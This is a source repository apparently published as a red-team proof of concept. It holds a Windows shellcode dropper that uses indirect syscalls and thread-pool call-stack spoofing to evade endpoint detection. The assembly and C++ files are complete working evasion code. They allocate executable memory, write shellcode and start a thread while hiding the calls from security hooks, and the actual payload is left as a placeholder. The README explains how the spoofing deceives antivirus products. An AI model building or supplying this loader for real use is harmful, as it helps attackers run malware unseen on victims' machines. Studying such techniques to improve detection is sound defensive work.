Repository: pard0p/CallstackSpoofingPOC
Branch: main
Commit: 8ee01c3b5c40
Files: 8
Total size: 27.3 KB
Directory structure:
gitextract_eqhlfm6d/
├── Assembly.asm
├── Callbacks.h
├── Compiler.bat
├── LICENSE
├── Main.cpp
├── PEB.h
├── README.md
└── Shellcode.h
================================================
FILE CONTENTS
================================================
================================================
FILE: Assembly.asm
================================================
section .data
syscall_ret dq 0000000000000000h
add_rsp_ret dq 0000000000000000h
section .text
global GetSSNByFuncAddress
global Search_For_Syscall_Ret
global Search_For_Add_Rsp_Ret
global NtAllocateVirtualMemory_Callback
global NtCreateThreadEx_Callback
global NtWriteVirtualMemory_Callback
NtAllocateVirtualMemory_Callback:
sub rsp, 0x78
mov r15, add_rsp_ret
mov r15, [r15]
push r15
mov rbx, rdx ; backing up the struct as we are going to stomp rdx
mov rcx, [rbx] ; HANDLE ProcessHandle
mov rdx, [rbx + 0x8] ; PVOID *BaseAddress
mov r8, [rbx + 0x10] ; ULONG_PTR ZeroBits
mov r9, [rbx + 0x18] ; PSIZE_T RegionSize
mov r10, [rbx + 0x24] ; ULONG Protect
mov [rsp+0x30], r10 ; stack pointer for 6th arg
mov r10, [rbx + 0x20] ; ULONG AllocationType
mov [rsp+0x28], r10 ; stack pointer for 5th arg
mov r10, rcx
mov r15, syscall_ret
mov r15, [r15]
mov rax, [rbx + 0x28]
jmp r15
NtWriteVirtualMemory_Callback:
sub rsp, 0x78
mov r15, add_rsp_ret
mov r15, [r15]
push r15
mov rbx, rdx ; backing up the struct as we are going to stomp rdx
mov rcx, [rbx] ; HANDLE ProcessHandle
mov rdx, [rbx + 0x8] ; PVOID *address
mov r8, [rbx + 0x10] ; PVOID *buffer
mov r9, [rbx + 0x18] ; ULONG BytesToWrite
mov r10, [rbx + 0x20] ; ULONG BytesWriten
mov [rsp+0x28], r10 ; stack pointer for 5th arg
mov r10, rcx
mov r15, syscall_ret
mov r15, [r15]
mov rax, [rbx + 0x28]
jmp r15
NtCreateThreadEx_Callback:
sub rsp, 0x78
mov r15, add_rsp_ret
mov r15, [r15]
push r15
mov rbx, rdx ; backing up the struct as we are going to stomp rdx
mov rcx, [rbx] ; PHANDLE threadH
mov rdx, [rbx + 0x8] ; ACCESS_MASK desiredAcess
mov r8, [rbx + 0x10] ; PVOID objAttributes
mov r9, [rbx + 0x18] ; HANDLE pHandle
mov r10, [rbx + 0x50] ; PVOID lpBytesBuffer
mov [rsp+0x58], r10 ; stack pointer for 11th arg
mov r10, [rbx + 0x48] ; SIZE_T sizeOfStackReserve
mov [rsp+0x50], r10 ; stack pointer for 10th arg
mov r10, [rbx + 0x40] ; SIZE_T sizeOfStackCommit
mov [rsp+0x48], r10 ; stack pointer for 9th arg
mov r10, [rbx + 0x38] ; SIZE_T stackZeroBits
mov [rsp+0x40], r10 ; stack pointer for 8th arg
mov r10, [rbx + 0x30] ; ULONG flags
mov [rsp+0x38], r10 ; stack pointer for 7th arg
mov r10, [rbx + 0x28] ; PVOID lpParameter
mov [rsp+0x30], r10 ; stack pointer for 6th arg
mov r10, [rbx + 0x20] ; PVOID lpStartAddress
mov [rsp+0x28], r10 ; stack pointer for 5th arg
mov r10, rcx
mov r15, syscall_ret
mov r15, [r15]
mov rax, [rbx + 0x58]
jmp r15
Search_For_Syscall_Ret:
; Search for Syscall + Ret
mov rdx, rax
add rdx, 1
xor rbx, rbx
xor rcx, rcx
mov rcx, 00FFFFFF0000000000h
mov rdi, [rdx]
and rdi, rcx
or rbx, rdi
shr rbx, 28h
cmp rbx, 1F0FC3h
jne Search_For_Syscall_Ret + 3h
mov r15, syscall_ret
mov [r15], rdx
xor r15, r15
ret
Search_For_Add_Rsp_Ret:
; Search for add rsp, 78 + Ret
mov rdx, rax
add rdx, 1
xor rbx, rbx
xor rcx, rcx
mov rcx, 0000FFFFFFFFFFh
mov rdi, [rdx]
and rdi, rcx
or rbx, rdi
mov r14, 00C378C48348h
cmp rbx, r14
jne Search_For_Add_Rsp_Ret + 3h
mov r15, add_rsp_ret
mov [r15], rdx
ret
GetSSNByFuncAddress:
mov ebx, 0xB8D18B4C
mov rdx, 0x0
mov rax, [rcx]
cmp eax, ebx
je GetSSNByFuncAddress + 0x1B
add rcx, 0x20
add rdx, 0x1
jmp GetSSNByFuncAddress + 0xA
mov rax, [rcx + 0x4]
sub rax, rdx
ret
================================================
FILE: Callbacks.h
================================================
#include <windows.h>
/////////////////////
// CALLBACK ARGS //
/////////////////////
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
HANDLE hProcess;
PVOID* address;
SIZE_T zeroBits;
PSIZE_T size;
ULONG allocationType;
ULONG permissions;
DWORD ssn;
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;
typedef struct _NTWRITEVIRTUALMEMORY_ARGS {
HANDLE hProcess;
PVOID address;
PVOID buffer;
ULONG numberOfBytesToWrite;
PULONG numberOfBytesWritten;
DWORD ssn;
} NTWRITEVIRTUALMEMORY_ARGS, * PNTWRITEVIRTUALMEMORY_ARGS;
typedef struct _NTCREATETHREADEX_ARGS {
PHANDLE threadHandle; // Pointer to a variable that receives a handle to the new thread
ACCESS_MASK desiredAccess; // Desired access to the thread
PVOID objectAttributes; // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes
HANDLE processHandle; // Handle to the process in which the thread is to be created
PVOID lpStartAddress; // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
PVOID lpParameter; // Pointer to a variable to be passed to the thread
ULONG flags; // Flags that control the creation of the thread
SIZE_T stackZeroBits; // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer
SIZE_T sizeOfStackCommit; // The size of the stack that must be committed at thread creation
SIZE_T sizeOfStackReserve; // The size of the stack that must be reserved at thread creation
PVOID lpBytesBuffer; // Pointer to a variable that receives any output data from the system
DWORD ssn; // SSN
} NTCREATETHREADEX_ARGS, * PNTCREATETHREADEX_ARGS;
//////////////////////////
// ASSEMBLY FUNCTIONS //
//////////////////////////
extern "C" void Search_For_Syscall_Ret(
HANDLE ntdllHandle
);
extern "C" void Search_For_Add_Rsp_Ret(
HANDLE ntdllHandle
);
extern "C" void NtAllocateVirtualMemory_Callback(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context,
PTP_WORK Work
);
extern "C" void NtWriteVirtualMemory_Callback(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context,
PTP_WORK Work
);
extern "C" void NtCreateThreadEx_Callback(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context,
PTP_WORK Work
);
================================================
FILE: Compiler.bat
================================================
@ECHO OFF
nasm -f win64 .\Assembly.asm -o .\Assembly.obj
g++ -o poc.exe main.cpp Assembly.obj
del *.obj
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2023 pard0p
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Main.cpp
================================================
#include "Callbacks.h"
#include "Shellcode.h"
#include "PEB.h"
#include <iostream>
//Definition of the Windows Thread Pooling functions
typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);
FARPROC pTpAllocWork;
FARPROC pTpPostWork;
FARPROC pTpReleaseWork;
/////////////////////////
// GENERAL FUNCTIONS //
/////////////////////////
HMODULE hNtdll;
extern "C" DWORD GetSSNByFuncAddress(HANDLE functionAddress);
HMODULE GetNtdllHandle() {
#if defined(_WIN64)
PPEB Peb = (PPEB)__readgsqword(0x60);
#else
PPEB Peb = (PPEB)__readfsdword(0x30);
#endif
PLDR_MODULE pLoadModule;
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);
return (HMODULE)pLoadModule->BaseAddress;
}
PIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) {
uintptr_t baseAddress = reinterpret_cast<uintptr_t>(ImageBase);
uintptr_t dosHeaderAddr = baseAddress;
IMAGE_DOS_HEADER* dosHeader = reinterpret_cast<IMAGE_DOS_HEADER*>(dosHeaderAddr);
uintptr_t peHeaderAddr = baseAddress + dosHeader->e_lfanew;
IMAGE_NT_HEADERS* ntHeader = reinterpret_cast<IMAGE_NT_HEADERS*>(peHeaderAddr);
IMAGE_EXPORT_DIRECTORY* exportDir = reinterpret_cast<IMAGE_EXPORT_DIRECTORY*>(
baseAddress + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
return (PIMAGE_EXPORT_DIRECTORY)exportDir;
}
HANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRECTORY exportDir, const char* functionName) {
uintptr_t baseAddress = reinterpret_cast<uintptr_t>(moduleHandle);
DWORD* addressOfFunctions = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfFunctions);
DWORD numberOfFunctions = exportDir->NumberOfFunctions;
DWORD* addressOfNameOrdinals = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfNameOrdinals);
DWORD* addressOfNames = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfNames);
uintptr_t functionAddress = 0;
for (DWORD i = 0; i < numberOfFunctions; ++i) {
const char* currentFunctionName = nullptr;
if (i < exportDir->NumberOfNames) {
currentFunctionName = reinterpret_cast<const char*>(baseAddress + addressOfNames[i]);
}
functionAddress = baseAddress + addressOfFunctions[i+1];
if (currentFunctionName && strcmp(currentFunctionName, functionName) == 0) {
functionAddress = functionAddress;
return (HANDLE)functionAddress;
}
}
return (HANDLE)-1;
}
DWORD GetSSN(const char* functionName) {
//1. Get a HANDLE to the NTDLL.
HMODULE hNtdll = GetNtdllHandle();
//2. Get NTDLL's export table.
PIMAGE_EXPORT_DIRECTORY exportTable = GetExportTableAddress(hNtdll);
//3. Get the NTDLL's function address by its name.
HANDLE functionAddress = GetExportFunctionAddress(hNtdll, exportTable, functionName);
//4. Get the Syscall number.
DWORD SSN = GetSSNByFuncAddress(functionAddress);
return SSN;
}
VOID initVariables() {
unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
//hNtdll = GetModuleHandleA((LPCSTR)sNtdll);
hNtdll = GetNtdllHandle();
Search_For_Syscall_Ret(hNtdll);
Search_For_Add_Rsp_Ret(hNtdll);
unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 };
pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork);
unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 };
pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork);
unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 };
pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork);
}
VOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) {
PTP_WORK WorkReturn = NULL;
((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)callback, args, NULL);
((TPPOSTWORK)pTpPostWork)(WorkReturn);
((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
WaitForSingleObject((HANDLE)-1, 0x1000);
}
/////////////////////////
// NTDLL'S FUNCTIONS //
/////////////////////////
PVOID NtAllocateVirtualMemory(HANDLE hProcess) {
PVOID allocatedAddress = NULL;
SIZE_T allocatedsize = 0x1000;
NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
ntAllocateVirtualMemoryArgs.hProcess = hProcess;
ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
ntAllocateVirtualMemoryArgs.zeroBits = 0;
ntAllocateVirtualMemoryArgs.size = &allocatedsize;
ntAllocateVirtualMemoryArgs.allocationType = (MEM_RESERVE | MEM_COMMIT);
ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READWRITE;
ntAllocateVirtualMemoryArgs.ssn = GetSSN("NtAllocateVirtualMemory");
setCallback((PTP_WORK_CALLBACK)NtAllocateVirtualMemory_Callback, &ntAllocateVirtualMemoryArgs);
return allocatedAddress;
}
VOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULONG bytesWritten) {
NTWRITEVIRTUALMEMORY_ARGS ntWriteVirtualMemoryArgs = { 0 };
ntWriteVirtualMemoryArgs.hProcess = hProcess;
ntWriteVirtualMemoryArgs.address = allocatedAddress;
ntWriteVirtualMemoryArgs.buffer = code;
ntWriteVirtualMemoryArgs.numberOfBytesToWrite = sizeof(code);
ntWriteVirtualMemoryArgs.numberOfBytesWritten = bytesWritten;
ntWriteVirtualMemoryArgs.ssn = GetSSN("NtWriteVirtualMemory");
//std::cout << "Test 0x" << std::hex << ntWriteVirtualMemoryArgs.ssn << std::endl;
setCallback((PTP_WORK_CALLBACK)NtWriteVirtualMemory_Callback, &ntWriteVirtualMemoryArgs);
}
VOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAddress) {
NTCREATETHREADEX_ARGS ntCreateThreadExArgs = { 0 };
ntCreateThreadExArgs.threadHandle = &hThread;
ntCreateThreadExArgs.desiredAccess = GENERIC_EXECUTE;
ntCreateThreadExArgs.objectAttributes = NULL;
ntCreateThreadExArgs.processHandle = hProcess;
ntCreateThreadExArgs.lpStartAddress = allocatedAddress;
ntCreateThreadExArgs.lpParameter = NULL;
ntCreateThreadExArgs.flags = FALSE;
ntCreateThreadExArgs.stackZeroBits = 0;
ntCreateThreadExArgs.sizeOfStackCommit = 0;
ntCreateThreadExArgs.sizeOfStackReserve = 0;
ntCreateThreadExArgs.lpBytesBuffer = NULL;
ntCreateThreadExArgs.ssn = GetSSN("NtCreateThreadEx");
setCallback((PTP_WORK_CALLBACK)NtCreateThreadEx_Callback, &ntCreateThreadExArgs);
}
////////////
// MAIN //
////////////
int main() {
initVariables();
//HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, <PID>);
HANDLE hProcess = (HANDLE)-1;
std::cout << "[*] Executing NtAllocateVirtualMemory..." << std::endl;
PVOID allocatedAddress = NtAllocateVirtualMemory(hProcess);
std::cout << "\t[+] Allocated at: 0x" << allocatedAddress << std::endl;
ULONG writenSize = 0;
std::cout << "[*] Executing NtWriteVirtualMemory..." << std::endl;
NtWriteVirtualMemory(hProcess, allocatedAddress, &writenSize);
HANDLE hThread = NULL;
std::cout << "[*] Executing NtCreateThreadEx..." << std::endl;
NtCreateThreadEx(hProcess, hThread, allocatedAddress);
//WaitForSingleObject(hThread, 0x1000);
return 0;
}
================================================
FILE: PEB.h
================================================
#pragma once
#include <Windows.h>
/*--------------------------------------------------------------------
STRUCTURES
--------------------------------------------------------------------*/
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _TEB {
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _INITIAL_TEB {
PVOID StackBase;
PVOID StackLimit;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} INITIAL_TEB, * PINITIAL_TEB;
================================================
FILE: README.md
================================================
# Callstack spoofing + Indirect Syscalls POC
This project consists of a simple C++ self-Injecting dropper focused on EDR evasion POC. To implement it, I have combined the use of **``Windows Thread Pooling``** to hide the call stack and the use of **``indirect syscalls``** to avoid hooking in the NTDLL.
<br>





As can be seen in the images, from the Cordyceps code, it performs a jump to ntdll to utilize one of the syscall instructions. This should be considered a malicious action; however, upon executing the return in ntdll, we return to the code of tpWorker, which is located within ntdll. Thus, from the perspective of the antivirus (AV), ntdll would appear to be making a call to another part of ntdll, which is not considered malicious.
## Future Upgrades:
- [x] Implement a mechanism to automatically search for the syscall number.
- [ ] In-memory payload decryption.
## To compile:
```bash
nasm -f win64 .\Assembly.asm -o .\Assembly.obj
g++ -o poc.exe main.cpp Assembly.obj
```
## Resources:
https://0xdarkvortex.dev/hiding-in-plainsight/
https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/
https://medium.com/@sruthk/cracking-assembly-fastcall-calling-convention-in-x64-c6d77b51ea86
================================================
FILE: Shellcode.h
================================================
unsigned char code[] = " --- SHELCODE ---";
gitextract_eqhlfm6d/ ├── Assembly.asm ├── Callbacks.h ├── Compiler.bat ├── LICENSE ├── Main.cpp ├── PEB.h ├── README.md └── Shellcode.h
SYMBOL INDEX (28 symbols across 3 files)
FILE: Callbacks.h
type NTALLOCATEVIRTUALMEMORY_ARGS (line 7) | typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
type NTWRITEVIRTUALMEMORY_ARGS (line 17) | typedef struct _NTWRITEVIRTUALMEMORY_ARGS {
type NTCREATETHREADEX_ARGS (line 26) | typedef struct _NTCREATETHREADEX_ARGS {
FILE: Main.cpp
function HMODULE (line 23) | HMODULE GetNtdllHandle() {
function PIMAGE_EXPORT_DIRECTORY (line 36) | PIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) {
function HANDLE (line 51) | HANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRE...
function DWORD (line 79) | DWORD GetSSN(const char* functionName) {
function VOID (line 95) | VOID initVariables() {
function VOID (line 113) | VOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) {
function PVOID (line 125) | PVOID NtAllocateVirtualMemory(HANDLE hProcess) {
function VOID (line 143) | VOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULON...
function VOID (line 157) | VOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAd...
function main (line 179) | int main() {
FILE: PEB.h
type LSA_UNICODE_STRING (line 7) | typedef struct _LSA_UNICODE_STRING {
type LDR_MODULE (line 13) | typedef struct _LDR_MODULE {
type PEB_LDR_DATA (line 29) | typedef struct _PEB_LDR_DATA {
type PEB (line 38) | typedef struct _PEB {
type CLIENT_ID (line 95) | typedef struct __CLIENT_ID {
type TEB_ACTIVE_FRAME_CONTEXT (line 100) | typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
type TEB_ACTIVE_FRAME (line 105) | typedef struct _TEB_ACTIVE_FRAME {
type GDI_TEB_BATCH (line 111) | typedef struct _GDI_TEB_BATCH {
type PVOID (line 117) | typedef PVOID PACTIVATION_CONTEXT;
type RTL_ACTIVATION_CONTEXT_STACK_FRAME (line 119) | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
type ACTIVATION_CONTEXT_STACK (line 125) | typedef struct _ACTIVATION_CONTEXT_STACK {
type TEB (line 133) | typedef struct _TEB {
